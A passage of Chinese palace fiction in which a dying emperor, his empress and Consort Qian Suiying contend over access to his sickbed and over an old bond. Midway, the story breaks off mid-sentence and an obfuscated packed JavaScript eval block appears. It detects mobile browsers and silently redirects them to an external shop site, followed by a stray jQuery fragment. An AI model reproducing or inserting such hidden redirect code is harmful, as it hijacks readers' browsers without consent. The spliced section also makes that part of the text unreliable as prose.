承曜十二年冬，圣人病重。
紫宸殿里的灯已经烧了三夜。
太医署的人从内寝退到偏殿，又从偏殿候至廊下，往来脚步压得再轻，也仍叫人听得心烦意乱。
圣人陈玄度缠绵病榻已有两月。
起初只是风寒，后来咳血，再后来竟连常朝也不能去。宣政殿多日不御，延英殿召对也停了。外头奏疏照旧一封一封送进来，却不再全入圣人眼前。
三省六部都在等，等紫宸殿里那盏灯，是继续烧下去，还是终于熄灭。
皇后卢令仪坐在偏殿，她穿一身深绛大袖宫装，发髻端整，凤钗在灯下冷冷一亮。
卢氏是上京高门，父亲曾为门下侍中，兄长如今在尚书省居要职。圣人登基之初立她为后，朝中人人都说，这是安抚士族、稳住朝局的好姻缘。
这些话，当年卢令仪听得多了。那时她也曾以为，凤印在手，便算握住了后宫。后来才知道，圣人立后，是给卢氏、给朝臣、也给天下看的体面。
她只是礼数之内的皇后。
珠帘在这时轻轻一响，钱淑妃从内寝出来。
她穿一身素白宫装，外罩沉青披帛，发间只一枚白玉簪，身上不见金翠。许是才从病榻前退下，袖口沾着淡淡药气，眉眼平静如水。
殿中宫人见她出来，纷纷低首，“淑妃娘娘。”
钱穗盈走到卢令仪跟前，规规矩矩行了一礼，“皇后殿下。”
淑妃的礼数一向周全，从前如此，如今也如此。她从不在这些地方让人挑出错来，见了皇后便行礼，称呼也恭敬，话也说得温顺。
只是她一出来，偏殿里的太医、女史、内侍便像终于等到了主心骨。
卢令仪看在眼里，面上却不动，“淑妃，圣人如何？”
钱穗盈回道：“方才醒过一回，进了半盏药，这会又睡下了。”
“既醒过，为何不传本宫入内？”
钱穗盈垂眼：“圣人气力不济，才说了两句话便又咳起来。林院使说，此刻不宜再惊动。”
卢令仪盯着她，一字一顿：“淑妃，本宫是否能入内侍疾？”
“当然。”钱穗盈声音很轻，“妾已让人添了炭火，偏殿里也备下了热茶。待下回换药时，妾请皇后殿下一同入内。”
卢令仪指尖在袖中慢慢收紧，又松开，她忍下没有发作。
这些年她已懂得，在钱穗盈面前发作并无用处。
钱穗盈从不与她争一时的高低，她把每一件事都安排在前头。等人察觉时，路已经铺好，门已经关上，连体面也替你留好了。
卢令仪话锋一转：“东宫可曾来问过？”
钱穗盈抬眼：“问过。太子殿下夜里醒了一回，问圣躬可安。”
“你怎么回的？”
“回说圣人已服药安置，请太子安心。明日卯正，照旧读书。”
卢令仪道：“圣人病重，太子不入内侍疾，来日让外头如何议论？”
钱穗盈静了片刻，道：“起居注会记，圣人体恤东宫年幼，命太子安居东宫，不必夜入紫宸殿。”
卢令仪冷冷看着她。
钱穗盈又道：“皇后殿下若不放心，可遣含象殿女官去东宫问安。只说中宫怜惜太子夜寒，不必惊动殿下。”
她连这一步也想好了。
皇后有皇后的名义，东宫有东宫的体面，圣人的口谕也有圣人的体面。
所有人的位置都被她安放妥当，谁也没有被明着压下去，谁也不能说她越礼。
可事，仍是她定的。
卢令仪忽然轻轻笑了一声，“淑妃，你这些年行事，越发滴水不漏。”
钱穗盈眉目舒平，缓缓开口：“妾只是怕紫宸殿慌乱。”
卢令仪望着那道垂下的珠帘，帘内药气一阵一阵透出来。皇帝躺在里头，可皇后只能坐在外头，由一个妃子来告诉她，何时能进，何时不能进。
她终于道：“本宫今夜不回含象殿。”
钱穗盈神色平静，皇后留与不留，早在她意料之中，“妾已命人收拾偏殿，皇后殿下可在此歇息。”
卢令仪静静看她片刻，“淑妃安排得这样周到，本宫倒不好再添什么了。”
钱穗盈垂眼：“皇后殿下坐镇于此，便已经足够。”
正静着，珠帘内忽然传来一声低咳。
一个女史从帘内出来，快步走到钱穗盈身边，低声道：“娘娘，圣人醒了。”
卢令仪立刻起身：“圣人既醒了，本宫也该入内问安。”
女史顿了顿，躬身道：“圣人说，请淑妃娘娘入内。”
钱穗盈看向皇后，口吻淡淡：“圣人方醒，妾先进去问一声。若圣人精神尚可，再请皇后殿下入内。”
卢令仪望着她，“若圣人不愿见本宫呢？”
钱穗盈垂首道：“圣人病中，未必是这个意思。”
说完，她转身入了内寝。珠帘落下，将卢令仪的目光隔在外头。
内寝里药气更重。
榻前燃着两盏细颈铜灯，殿中还是冷，冷得像多年风雪都积在这里，没有化过。
陈玄度半靠在枕上，脸色灰白，唇边还有一点未擦净的血。
林院使跪在榻前，手中捧着药盏，见钱穗盈进来，便要低声回话。
陈玄度却抬了抬手，“都出去。”
林院使迟疑：“圣人……”
钱穗盈看了林院使一眼，他这才低头退下。宫人、内侍也跟着悄声退出去。殿门合上，外头的人声被隔住，只剩灯火轻微燃着。
钱穗盈走到榻边：“圣人不该屏退太医。”
陈玄度看着她：“你不是在这里么。”
钱穗盈道：“妾不是太医。”
“你可比太医清楚。”陈玄度看着她，忽然低低笑了一声。那笑才起，便被咳声压住，他咳得胸口起伏，指节抓紧锦被。
钱穗盈站在榻边，没有立刻扶他。等那阵咳声过了，她才端起水盏，递到他唇边。
陈玄度就着她的手喝了一口，眼睛却仍看着她，“你在等朕死。”
钱穗盈将水盏放回去，声音很平：“圣人病重，妾在侍疾。”
他病了很久，瘦得厉害，眉骨下陷，眼睛却还是旧时那双眼，“盈娘，你从前说谎，不是这样。”
钱穗盈眉眼不动，“圣人也说了，是从前。”
陈玄度歪头看她：“盈娘，若朕今夜不死呢？”
钱穗盈道：“那妾便继续侍疾。”
陈玄度像是听懂了这句“侍疾”里真正的意思，再开口时，声音比方才低了些：“皇后在外头吗？”
“殿下仍坐在外面。”她把“殿下”二字咬得很轻，轻得几乎没有情绪。
陈玄度缓了缓气，胸口起伏得很慢：“你得让她进来一回。”
榻前那盏灯烧得久了，灯芯微微弯下去，她伸手取过银剪，将灯芯剪短一点，“圣人方才还说，不宜惊动。”
“朕还没死。”陈玄度道，“她是皇后，总要见一见。”
钱穗盈将银剪放回案上，声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706531|208332||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
平平：“圣人待皇后，一向周全。”
“她是卢氏女。”
“妾知道。”钱穗盈道，“卢氏不能乱，中宫不能失了体面。圣人每一样都替她想好了。”
陈玄度听出她话里的刺，低声道：“你恨她？”
钱穗盈觉得荒唐，“皇后有什么值得妾恨的。”
陈玄度闭了闭眼，“所以你恨朕。”
钱穗盈平静回道：“圣人到今日才知道么？”
殿里灯火烧得很静，他过了一会才说：“方才，朕又梦见上元那夜了。”
钱穗盈没有接话。
“梦见你站在灯下，问朕叫什么。”
“圣人病中多梦。”
“那夜雪很大。”
“不大。”钱穗盈道，“只是圣人那时快死了，所以觉得天地都冷。”
陈玄度望着她，眼中浮出一点极淡的笑意，又很快被病气压下去，“你果然还记得。”
“妾记性一向很好。”
陈玄度静了许久，忽然问：“若那夜重来，你还会不会带朕回钱家？”
钱穗盈看着榻前那两盏灯，灯芯烧到深处，灯花轻轻一爆。
她微笑道：“这世上没有重来。”
陈玄度苦笑：“你连骗朕一句都不肯。”
钱穗盈终于看向他，“圣人要的不是一句骗话，圣人要的是那夜仍在，钱家仍在，陈度仍在，妾也仍是那个什么都不知道的小娘子。”
陈玄度脸上的血色一点点褪尽。
钱穗盈声音很轻：“可圣人知道，这些都没有了。”
殿外风雪压着宫墙。
陈玄度没有再说话，他像是累极了，闭上眼，呼吸一下一下低下去，又在某一刻艰难地续上来。
钱穗盈坐在榻边，静静看着他，像看一盏已经烧了太久的灯。
不知过了多久，陈玄度忽然又睁开眼，低声唤她：“盈娘，那个白鹿面具，后来你放到哪里了？”
钱穗盈指尖在袖中慢慢蜷紧，片刻后，她道：“我忘了。”
灯火映在她脸上，将她眉眼照得极清楚。
她已不是十六七岁时那个戴着白鹿面具站在雪里的小娘子，可有那么一瞬，陈玄度仍从她眼中看见一点旧日的亮。
“你若真忘了，为何还坐在这里？”他道。
“你可以回蓬莱殿。”陈玄度看着她，“可以让太医守着，可以让皇后进来。你恨朕，便该离朕远些。何必守在这里，守得这样仔细。”
钱穗盈垂眼，看着自己袖口上那一点淡淡云纹。
她当然可以走，这些年，她有无数次可以走。
陈玄度冷落她时，她可以走。陈玄度疑心她时，她可以走。
钱家旧事一层一层揭开时，她也可以走。
可她偏偏留了下来，留在这座宫城里，留在他的身边。
她说：“因为我要看着陛下。”
陈玄度呼吸微顿。
“看着陛下坐上去。”她声音很轻，“也看着陛下落下来。”
榻上的人久久没有说话。
殿里灯火无声地烧着，火光在珠帘上晃，明了又暗，暗了又明。
灯花又落了一次。
那一点火星沉进灯盏，油面轻轻一颤。
钱穗盈忽然想起那只白鹿面具，上元夜后，面具被雪水打湿过一角，红漆晕开，眼尾那一点金粉也褪得发暗。她后来把它收进匣子，连同那一夜的灯火、人声和雪，都压在最底下。
她怎么敢忘啊？